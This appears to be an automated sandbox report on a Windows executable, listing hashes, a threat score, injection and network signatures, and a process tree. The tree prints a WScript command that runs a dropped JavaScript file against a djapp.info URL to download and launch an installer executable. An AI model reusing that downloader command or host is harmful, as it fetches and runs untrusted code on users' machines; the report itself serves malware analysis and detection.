affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea

General

Target

affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
Size

184KB
MD5

93eac4b75daf487f01b0ae8481200b08
SHA1

b910117319134a109bebef99ea98813f6a1f3755
SHA256

affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea
SHA512

737d5af61a45152680df34b2c2267345cfbc29eee03edb3cfcb4b0756dc85f2fae2e0404bed1f944a68a7b2211c20e20db3158a34d01723de106a95ec6ec20b7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndn2

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
2	2040	WScript.exe
5	2040	WScript.exe
6	1744	WScript.exe
8	1744	WScript.exe
9	324	WScript.exe
11	324	WScript.exe
12	1356	WScript.exe
14	1356	WScript.exe
16	1396	WScript.exe
18	1396	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 2040	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	27
PID 908 wrote to memory of 2040	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	27
PID 908 wrote to memory of 2040	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	27
PID 908 wrote to memory of 2040	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	27
PID 908 wrote to memory of 1744	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	30
PID 908 wrote to memory of 1744	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	30
PID 908 wrote to memory of 1744	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	30
PID 908 wrote to memory of 1744	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	30
PID 908 wrote to memory of 324	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	31
PID 908 wrote to memory of 324	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	31
PID 908 wrote to memory of 324	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	31
PID 908 wrote to memory of 324	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	31
PID 908 wrote to memory of 1356	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	32
PID 908 wrote to memory of 1356	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	32
PID 908 wrote to memory of 1356	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	32
PID 908 wrote to memory of 1356	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	32
PID 908 wrote to memory of 1396	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	33
PID 908 wrote to memory of 1396	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	33
PID 908 wrote to memory of 1396	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	33
PID 908 wrote to memory of 1396	908	affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe	33

C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
"C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
  2⤵
  - Blocklisted process makes network request
  PID:2040
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
  2⤵
  - Blocklisted process makes network request
  PID:1744
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
  2⤵
  - Blocklisted process makes network request
  PID:324
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
  2⤵
  - Blocklisted process makes network request
  PID:1356
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
  2⤵
  - Blocklisted process makes network request
  PID:1396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf401D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\DBJTNZDV.txt

Filesize
100B

MD5
343f8ec8ebaf4b5c5c28afb469e376f8

SHA1
ac38f27fc8fc6109dfc369db5daaa0c73ec2a2cf

SHA256
b540827efffc1757310e36af82ba6199fb8e54dce68d679c34769b0cd03b948f

SHA512
11521304ed3bec751d1df0a0fbe5147e4b3374e6cf177304f41f20f4462881d27efd775385d7dcb50b2121c5644702d80ff47ccb85765a7b6e2dd2e0c1c30361

Download Submit
memory/908-54-0x0000000075131000-0x0000000075133000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing